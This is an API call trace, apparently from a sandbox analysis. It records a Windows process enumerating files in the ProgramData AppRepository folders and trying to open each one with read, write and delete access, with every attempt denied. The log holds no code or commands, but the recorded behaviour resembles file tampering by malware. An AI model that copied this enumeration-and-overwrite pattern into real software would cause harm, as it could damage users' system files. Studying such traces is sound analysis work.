	[0090.478] wcscat (in: _Dest=0x477eb90, _Source="CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml"
	[0090.479] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0090.479] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.480] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.480] GetLastError () returned 0x5
	[0090.480] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.480] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0090.480] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94b81300, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x94b81300, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x94b81300, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x1a4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml", cAlternateFileName="DESKTO~1.XML")) returned 1
	[0090.480] wcscmp (_String1="DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml", _String2=".") returned 1
	[0090.480] wcscmp (_String1="DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml", _String2="..") returned 1
	[0090.480] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477eb90
	[0090.480] wcscpy (in: _Dest=0x477eb90, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.480] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.480] wcscat (in: _Dest=0x477eb90, _Source="DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml"
	[0090.480] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0090.481] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.481] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.481] GetLastError () returned 0x5
	[0090.481] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.481] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0090.481] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95530c1d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x95530c1d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x95530c1d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x8ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml", cAlternateFileName="DESKTO~2.XML")) returned 1
	[0090.481] wcscmp (_String1="DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml", _String2=".") returned 1
	[0090.481] wcscmp (_String1="DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml", _String2="..") returned 1
	[0090.481] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477df50
	[0090.481] wcscpy (in: _Dest=0x477df50, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.481] wcscat (in: _Dest=0x477df50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.482] wcscat (in: _Dest=0x477df50, _Source="DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"
	[0090.482] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0090.483] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.483] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.483] GetLastError () returned 0x5
	[0090.483] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.483] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477df50) returned 1
	[0090.483] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b49b215, ftCreationTime.dwHighDateTime=0x1d32793, ftLastAccessTime.dwLowDateTime=0x7b4c1487, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7b4c1487, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downlevel", cAlternateFileName="DOWNLE~1")) returned 1
	[0090.483] wcscmp (_String1="Downlevel", _String2=".") returned 1
	[0090.483] wcscmp (_String1="Downlevel", _String2="..") returned 1
	[0090.483] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x47bcb90
	[0090.483] wcscpy (in: _Dest=0x47bcb90, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.484] wcscat (in: _Dest=0x47bcb90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.484] wcscat (in: _Dest=0x47bcb90, _Source="Downlevel" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel"
	[0090.484] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bc090
	[0090.484] wcscpy (in: _Dest=0x47bc090, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel"
	[0090.484] wcscat (in: _Dest=0x47bc090, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\"
	[0090.484] wcscat (in: _Dest=0x47bc090, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\*"
	[0090.484] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502aa00
	[0090.484] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\*", lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b49b215, ftCreationTime.dwHighDateTime=0x1d32793, ftLastAccessTime.dwLowDateTime=0x7b4c1487, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7b4c1487, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a868
	[0090.499] wcscmp (_String1=".", _String2=".") returned 0
	[0090.499] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b49b215, ftCreationTime.dwHighDateTime=0x1d32793, ftLastAccessTime.dwLowDateTime=0x7b4c1487, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7b4c1487, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.499] wcscmp (_String1="..", _String2=".") returned 1
	[0090.499] wcscmp (_String1="..", _String2="..") returned 0
	[0090.499] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ab2d90, ftCreationTime.dwHighDateTime=0x1d3271f, ftLastAccessTime.dwLowDateTime=0xe6ab2d90, ftLastAccessTime.dwHighDateTime=0x1d3271f, ftLastWriteTime.dwLowDateTime=0xf6701bd8, ftLastWriteTime.dwHighDateTime=0x1d3273c, nFileSizeHigh=0x0, nFileSizeLow=0x220000, dwReserved0=0x0, dwReserved1=0x0, cFileName="StateRepository-Machine.srd", cAlternateFileName="STATER~1.SRD")) returned 1
	[0090.499] wcscmp (_String1="StateRepository-Machine.srd", _String2=".") returned 1
	[0090.499] wcscmp (_String1="StateRepository-Machine.srd", _String2="..") returned 1
	[0090.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481ba08
	[0090.499] wcscpy (in: _Dest=0x481ba08, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel"
	[0090.499] wcscat (in: _Dest=0x481ba08, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\"
	[0090.499] wcscat (in: _Dest=0x481ba08, _Source="StateRepository-Machine.srd" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd"
	[0090.499] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\downlevel\\staterepository-machine.srd")) returned 0x20
	[0090.500] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd", dwFileAttributes=0x20) returned 0
	[0090.500] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\downlevel\\staterepository-machine.srd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.500] GetLastError () returned 0x5
	[0090.500] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd", dwFileAttributes=0x20) returned 0
	[0090.500] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ba08) returned 1
	[0090.500] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0617f1, ftCreationTime.dwHighDateTime=0x1d3271f, ftLastAccessTime.dwLowDateTime=0xec0617f1, ftLastAccessTime.dwHighDateTime=0x1d3271f, ftLastWriteTime.dwLowDateTime=0xe3bc1f35, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="StateRepository-Machine.srd-shm", cAlternateFileName="STEA79~1.SRD")) returned 1
	[0090.500] wcscmp (_String1="StateRepository-Machine.srd-shm", _String2=".") returned 1
	[0090.500] wcscmp (_String1="StateRepository-Machine.srd-shm", _String2="..") returned 1
	[0090.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4f2c8a0
	[0090.500] wcscpy (in: _Dest=0x4f2c8a0, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel"
	[0090.500] wcscat (in: _Dest=0x4f2c8a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\"
	[0090.500] wcscat (in: _Dest=0x4f2c8a0, _Source="StateRepository-Machine.srd-shm" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd-shm") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd-shm"
	[0090.500] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd-shm" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\downlevel\\staterepository-machine.srd-shm")) returned 0x20
	[0090.502] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd-shm", dwFileAttributes=0x20) returned 0
	[0090.502] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd-shm" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\downlevel\\staterepository-machine.srd-shm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.502] GetLastError () returned 0x5
	[0090.502] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd-shm", dwFileAttributes=0x20) returned 0
	[0090.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c8a0) returned 1
	[0090.502] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6dfa193, ftCreationTime.dwHighDateTime=0x1d3271f, ftLastAccessTime.dwLowDateTime=0xe6dfa193, ftLastAccessTime.dwHighDateTime=0x1d3271f, ftLastWriteTime.dwLowDateTime=0xf691b254, ftLastWriteTime.dwHighDateTime=0x1d3273c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StateRepository-Machine.srd-wal", cAlternateFileName="STATER~2.SRD")) returned 1
	[0090.502] wcscmp (_String1="StateRepository-Machine.srd-wal", _String2=".") returned 1
	[0090.502] wcscmp (_String1="StateRepository-Machine.srd-wal", _String2="..") returned 1
	[0090.502] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4f2d7a0
	[0090.502] wcscpy (in: _Dest=0x4f2d7a0, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel"
	[0090.502] wcscat (in: _Dest=0x4f2d7a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\"
	[0090.502] wcscat (in: _Dest=0x4f2d7a0, _Source="StateRepository-Machine.srd-wal" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd-wal") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd-wal"
	[0090.503] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd-wal" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\downlevel\\staterepository-machine.srd-wal")) returned 0x20
	[0090.507] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd-wal", dwFileAttributes=0x20) returned 0
	[0090.507] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd-wal" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\downlevel\\staterepository-machine.srd-wal"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.507] GetLastError () returned 0x5
	[0090.507] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd-wal", dwFileAttributes=0x20) returned 0
	[0090.507] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d7a0) returned 1
	[0090.507] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6dfa193, ftCreationTime.dwHighDateTime=0x1d3271f, ftLastAccessTime.dwLowDateTime=0xe6dfa193, ftLastAccessTime.dwHighDateTime=0x1d3271f, ftLastWriteTime.dwLowDateTime=0xf691b254, ftLastWriteTime.dwHighDateTime=0x1d3273c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StateRepository-Machine.srd-wal", cAlternateFileName="STATER~2.SRD")) returned 0
	[0090.507] FindClose (in: hFindFile=0x477a868 | out: hFindFile=0x477a868) returned 1
	[0090.508] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502aa00) returned 1
	[0090.508] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc090) returned 1
	[0090.508] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bcb90) returned 1
	[0090.508] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x960d03e8, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x960d03e8, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x960d03e8, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0xa73, dwReserved0=0x0, dwReserved1=0x0, cFileName="E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml", cAlternateFileName="E2A4F9~1.XML")) returned 1
	[0090.508] wcscmp (_String1="E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml", _String2=".") returned 1
	[0090.508] wcscmp (_String1="E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml", _String2="..") returned 1
	[0090.508] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d5b2a8
	[0090.508] wcscpy (in: _Dest=0x2d5b2a8, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.508] wcscat (in: _Dest=0x2d5b2a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.509] wcscat (in: _Dest=0x2d5b2a8, _Source="E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml"
	[0090.509] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0090.509] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.509] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.509] GetLastError () returned 0x5
	[0090.509] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0090.509] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b8ad52, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x96b8ad52, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x96b8ad52, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml", cAlternateFileName="ENVIRO~1.XML")) returned 1
	[0090.509] wcscmp (_String1="EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml", _String2=".") returned 1
	[0090.509] wcscmp (_String1="EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml", _String2="..") returned 1
	[0090.509] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e124d0
	[0090.509] wcscpy (in: _Dest=0x2e124d0, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.509] wcscat (in: _Dest=0x2e124d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.509] wcscat (in: _Dest=0x2e124d0, _Source="EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml"
	[0090.509] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0090.510] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
